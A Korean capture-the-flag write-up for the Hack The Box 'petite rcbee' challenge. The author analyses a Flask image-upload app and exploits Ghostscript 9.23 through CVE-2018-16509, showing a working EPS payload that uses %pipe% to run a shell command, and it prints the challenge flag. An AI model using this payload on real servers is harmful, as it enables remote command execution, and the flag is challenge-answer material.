Wargame/Hack The Box

[HTB] petite rcbee Writeup

Vardy 2023. 4. 25. 10:33

 

주어진 페이지에 접근해보자. 파일 업로드 기능이 있는 것을 확인 할 수 있다.

 

웹쉘 파일 업로드 하는 시나리오를 우선적으로 생각하며 소스코드를 분석해보았다.

# utils.py
import tempfile, glob, os
from werkzeug.utils import secure_filename
from application import main
from PIL import Image

ALLOWED_EXTENSIONS = set(['png', 'jpg', 'jpeg'])

generate = lambda x: os.urandom(x).hex()

def allowed_file(filename):
    return '.' in filename and \
        filename.rsplit('.', 1)[1].lower() in ALLOWED_EXTENSIONS ##### ... (1)

def petmotion(bee, frames):
    outputFrames = []

    for frame in frames:
        newFrame, i = Image.new('RGBA', frame.size), frames.index(frame)
        width   = int(75*(0.8 + i * 0.02))
        height  = int(75*(0.8 + i * 0.05))
        kaloBee = bee.resize((width, height))
        frame   = frame.convert('RGBA')
        newFrame.paste(kaloBee, mask=kaloBee, box=(30, 37))
        newFrame.paste(frame, mask=frame)
        outputFrames.append(newFrame)
    
    return outputFrames

def save_tmp(file):
    tmp  = tempfile.gettempdir()
    path = os.path.join(tmp, secure_filename(file.filename))
    file.save(path)
    return path

def petpet(file):

    if not allowed_file(file.filename):
        return {'status': 'failed', 'message': 'Improper filename'}, 400

    try:
        
        tmp_path = save_tmp(file)

        bee = Image.open(tmp_path).convert('RGBA')
        frames = [Image.open(f) for f in sorted(glob.glob('application/static/img/*'))]
        finalpet = petmotion(bee, frames)

        filename = f'{generate(14)}.gif' ##### ................. (2)
        finalpet[0].save(
            f'{main.app.config["UPLOAD_FOLDER"]}/{filename}', 
            save_all=True, 
            duration=30, 
            loop=0, 
            append_images=finalpet[1:], 
        )

        os.unlink(tmp_path)

        return {'status': 'success', 'image': f'static/petpets/{filename}'}, 200

    except:
        return {'status': 'failed', 'message': 'Something went wrong'}, 500

(1)과 같이 파일명을 . 기준으로 split 했을 때 가장 오른쪽 요소의 값을 검증하는 로직이 있기 때문에 파일 확장자를 우회 할 수는 없었고, 널 바이트 삽입 등을 통해 서버에서 인식하는 과정에서 오류를 통해 업로드를 시도해보려고 했으나,

(2)와 같이 파일이 업로드 되더라도 일련의 과정을 거친 후에 {난수}.gif 로 확장자까지 고정으로 변경되어 업로드 되기 때문에 웹쉘 업로드 시나리오는 사실상 불가능 하다고 판단했다.

 

해당 페이지의 기능이 파일 업로드 밖에 없으므로 해당 시나리오가 불가하다면 웹 서비스를 구동하는 과정에서 설정 문제가 있을 것이라고 판단하고 주어진 파일들을 전부 찬찬히 분석해보았지만 큰 특이사항은 발견하지 못했다.

 

마지막 남은 시나리오는 취약한 버전의 컴포넌트를 사용하여 그것에 유효한 알려진 취약점을 활용하는 것 밖에 없다고 판단했다. 

Dockerfile을 보니 ghostscript 9.23 버전을 사용한다는것을 알 수 있었고 해당 컴포넌트에 알려진 취약점이 있는지 찾아보았다.

#### Dockerfile
FROM python:3

# Install system dependencies
RUN apt update -y; apt install -y curl supervisor 

# Install Python dependencies
RUN pip install flask Pillow

# Switch working environment
WORKDIR /tmp

# Install Pillow component
RUN curl -L -O https://github.com/ArtifexSoftware/ghostpdl-downloads/releases/download/gs923/ghostscript-9.23-linux-x86_64.tgz \
    && tar -xzf ghostscript-9.23-linux-x86_64.tgz \
    && mv ghostscript-9.23-linux-x86_64/gs-923-linux-x86_64 /usr/local/bin/gs && rm -rf /tmp/ghost*

# Setup app
RUN mkdir -p /app
WORKDIR /app

# Add application
COPY challenge .

# Setup supervisor
COPY config/supervisord.conf /etc/supervisord.conf

# Expose port the server is reachable on
EXPOSE 1337

# Disable pycache
ENV PYTHONDONTWRITEBYTECODE=1

# Run supervisord
ENTRYPOINT [ "/usr/bin/supervisord", "-c", "/etc/supervisord.conf" ]

 

서치해보니 어렵지 않게 exploit poc를 찾을 수 있었다.

https://github.com/farisv/PIL-RCE-Ghostscript-CVE-2018-16509

 

GitHub - farisv/PIL-RCE-Ghostscript-CVE-2018-16509: PoC + Docker Environment for Python PIL/Pillow Remote Shell Command Executio

PoC + Docker Environment for Python PIL/Pillow Remote Shell Command Execution via Ghostscript CVE-2018-16509 - GitHub - farisv/PIL-RCE-Ghostscript-CVE-2018-16509: PoC + Docker Environment for Pytho...

github.com

 

%!PS-Adobe-3.0 EPSF-3.0
%%BoundingBox: -0 -0 100 100

userdict /setpagedevice undef
save
legal
{ null restore } stopped { pop } if
{ legal } stopped { pop } if
restore
mark /OutputFile (%pipe%cp /app/flag* /app/application/static/petpets/flag.html) currentdevice putdeviceprops

 

문제 소스에서 플래그 경로를 확인 할 수 있기 때문에, 해당 파일을 config.py에 선언되어있는 UPLOAD_FOLDER 경로에 flag.html파일로 복사하는 RCE 페이로드를 업로드 시도하였다.

 

업로드 후 /static/petpets/flag.html로 접속해보니 RCE가 정상적으로 작동하여 플래그를 조회 할 수 있었다.

FLAG = HTB{c0mfy_bzzzzz_rcb33s_vlb3s}

반응형